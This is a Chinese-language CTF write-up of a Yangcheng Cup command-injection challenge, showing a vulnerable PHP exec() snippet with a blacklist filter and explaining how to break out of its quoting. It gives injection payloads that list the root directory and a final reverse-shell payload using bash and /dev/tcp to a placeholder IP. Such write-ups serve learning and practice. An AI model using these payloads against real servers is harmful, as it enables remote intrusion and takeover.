羊城杯的一道命令执行

前言

羊城杯已经过去很长时间了,突然兴起,想要看一下题目,记得当时肉松最后几小时发给我一个其中命令执行的代码,当时没时间看,现在复现一下

复现

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__file__);
if(isset($_GET['count']))
{
$count=$_GET['count'];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i',$count))
die("hacker");
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

过滤了一些东西,但实际上还是有很多可以用的命令。这里我们直接输入命令是会被当成字符串的。一开始这里面的引号配对问题我没搞清楚,有些地方惯性思维了,真实配对情况如下:

1.png

颜色相同的为一对,所以思路很清晰了,要想命令得到执行,需要先闭合引号。

?count='&&ls / &&' 这个对应的命令执行语句为 printf '' && ls/ && ''| wc -c

&&的特点就是 第一条语句为真,就接着执行第二条,以此类推。

|| 的特点 就是第一条语句为真,后面就不用执行了,除非为假,以此类推。

?count='| ls / ||' 对应的命令执行语句为 printf ''|ls / || '' | wc-c 直接把后面的 wc -c 语句给pass了。

主要就是一个闭合思路,因为这里用的exec函数,没有回显,考虑反弹shell ,最终的payload:

a'&&bash -c "bash -i >& /dev/tcp/yourip/8888 0>&1"&&'

在自己的VPS上监听8888端口监听即可。

小结

觉得不合理的地方就去本地搭环境测试一下,就会有想不到的效果。

测试Demo:

2.png

给ls 一个垃圾输入 , ls 还是可以执行。